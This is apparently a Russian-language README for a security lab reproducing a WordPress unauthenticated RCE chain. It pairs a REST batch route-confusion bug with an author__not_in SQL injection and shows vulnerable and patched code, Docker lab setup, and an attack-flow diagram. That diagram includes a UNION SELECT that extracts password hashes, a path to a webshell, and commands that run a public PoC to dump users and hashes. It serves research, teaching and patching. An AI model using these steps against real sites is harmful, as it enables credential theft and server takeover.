mhassani97/cve-2026-63030-labwp2shell (CVE-2026-63030 & CVE-2026-60137) - полная цепочка RCE
RCE без аутентификации в ядре WordPress через путаницу маршрутов пакетных запросов REST API + SQL-инъекция
wp2shell — это цепочка из двух независимых уязвимостей низкой степени серьёзности в ядре WordPress, которые при совместном использовании позволяют неаутентифицированному удалённому злоумышленнику:
| Свойство | Описание |
|---|---|
| CVE | CVE-2026-63030 + CVE-2026-60137 |
| CVSS | 9.8 Критический |
| Требуется аутентификация | Нет (до аутентификации) |
| Вектор атаки | Сеть |
| Затронутые версии | WordPress 6.9.0–6.9.4 и 7.0.0–7.0.1 |
| Исправленные версии | 6.9.5 и 7.0.2 (выпущены 17 июля 2026 г.) |
Файл: wp-includes/rest-api/class-wp-rest-server.php
Метод serve_batch_request_v1() поддерживает два параллельных массива: $matches[] для обработчиков и $validation[] для результатов. Когда подзапрос завершается ошибкой WP_Error (битый путь), он добавляется в $validation[], но не в $matches[]. Это создаёт сдвиг индекса на +1 — подзапрос i направляется обработчику подзапроса i+1.
// VULNERABLE (7.0.1)
if ( is_wp_error( $route ) ) {
$responses[] = envelope();
continue; // $matches[] NOT pushed ← BUG
}
// PATCHED (7.0.2)
if ( is_wp_error( $route ) ) {
$matches[] = null; // ← FIX: keeps arrays in sync
$responses[] = envelope();
continue;
}
Файл: wp-includes/class-wp-query.php
Параметр author__not_in ожидает массив целых чисел. Если передать строку, implode() подставляет необработанное значение напрямую в SQL-предложение WHERE — без экранирования и параметризации.
// VULNERABLE (7.0.1)
$where .= ' NOT IN (' . implode(',', $q['author__not_in']) . ')';
// PATCHED (7.0.2)
$safe = implode(',', array_map('absint', (array) $q['author__not_in']));
$where .= " NOT IN ($safe)";
Unauthenticated Attacker
│
▼
POST /?rest_route=/batch/v1 ← Outer batch
sub-req 0: "///" → WP_Error → index shift (+1)
sub-req 1: POST /wp/v2/posts ← dispatched under BATCH handler
sub-req 2: POST /batch/v1 ← dummy
│
│ [Confusion #1 active]
▼
Inner batch (body of sub-req 1) ← schema never validated
inner 0: "///" → index shift (+1)
inner 1: GET /wp/v2/posts?author_exclude=<PAYLOAD>
dispatched under posts get_items()
│
│ [Confusion #2 active]
▼
WP_Query: author__not_in = raw string
│
▼
SQL: NOT IN (0) UNION SELECT 999999,...,HEX(user_pass),...
│
▼
title.rendered = "||1|admin|$wp$2y$10$...<hash>...||"
│
▼
Crack hash OR crack-free oEmbed technique
│
▼
POST /wp/v2/users → new admin → plugin upload → webshell → RCE
| Инструмент | Загрузка |
|---|---|
| Docker Desktop (Windows / macOS) | https://www.docker.com/products/docker-desktop |
| Docker Engine (Linux) | https://docs.docker.com/engine/install |
| Git | https://git-scm.com/downloads |
| Burp Suite Community (необязательно) | https://portswigger.net/burp/communitydownload |
git clone https://github.com/YOUR_USERNAME/cve-2026-63030-lab
cd cve-2026-63030-lab
Вы увидите следующие файлы:
cve-2026-63030-lab/
├── docker-compose.yml ← defines WordPress + MySQL containers
├── Dockerfile ← custom image with Apache fix + wp-cli
├── init.sh ← configures permalink after install
└── fix-htaccess.ps1 ← Windows helper (run if Apache returns 404)
docker compose up -d --build
В результате:
Проверьте, что оба контейнера запущены:
docker compose ps
Ожидаемый вывод:
NAME STATUS
wp2shell-lab running
wp2shell-db running
Откройте http://localhost:9090 в браузере и заполните:
| Поле | Рекомендуемое значение |
|---|---|
| Название сайта | CVE-2026-63030 |
| Имя пользователя | admin |
| Пароль | любой пароль |
| Электронная почта | [email protected] |
Нажмите Установить WordPress, затем войдите в систему.
Выполните один раз после установки:
Linux / macOS:
docker exec wp2shell-lab bash -c "
wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html &&
wp rewrite flush --allow-root --path=/var/www/html
"
Windows PowerShell:
docker exec wp2shell-lab bash -c "wp rewrite structure '/%postname%/' --allow-root --path=/var/www/html && wp rewrite flush --allow-root --path=/var/www/html"
Ожидаемый вывод:
Success: Rewrite structure set.
Success: Rewrite rules flushed.
.\fix-htaccess.ps1
curl -s http://localhost:9090/wp-json/ | python3 -m json.tool | head -5
Если вы видите JSON-ответ с "namespaces" — лаборатория готова.
# Stop and remove everything including database
docker compose down -v
⚠️ Только для авторизованных исследований в области безопасности и обучения. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.
Полная цепочка эксплуатации (обнаружение → SQLi → создание администратора → веб-шелл → RCE) реализована в:
git clone https://github.com/Icex0/wp2shell-poc
cd wp2shell-poc
pip install -r requirements.txt
# Step 1: Detection only (non-destructive)
python wp2shell.py check http://localhost:9090
# Step 2: Read database — extract users and hashes
python wp2shell.py read --preset users http://localhost:9090
Три файла, менее 10 строк PHP:
| Файл | Изменение |
|---|---|
class-wp-rest-server.php | Заполнитель $matches[] = null для синхронизации массивов |
class-wp-query.php | Приведение (array) + array_map('absint', ...) |
class-wp-rest-posts-controller.php | Аналогичная санитизация на уровне REST |
Для устранения уязвимости обновитесь до WordPress 6.9.5 или 7.0.2.
| Ресурс | Ссылка |
|---|---|
| GitHub Advisory (CVE-2026-63030) | GHSA-ff9f-jf42-662q |
| GitHub Advisory (CVE-2026-60137) | GHSA-fpp7-x2x2-2mjf |
| Публичный PoC | https://github.com/Icex0/wp2shell-poc |
Сделано с ❤️ командой Black Security Team
Этот репозиторий предназначен только для образовательных целей и авторизованных исследований в области безопасности. Не проводите тестирование против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения.
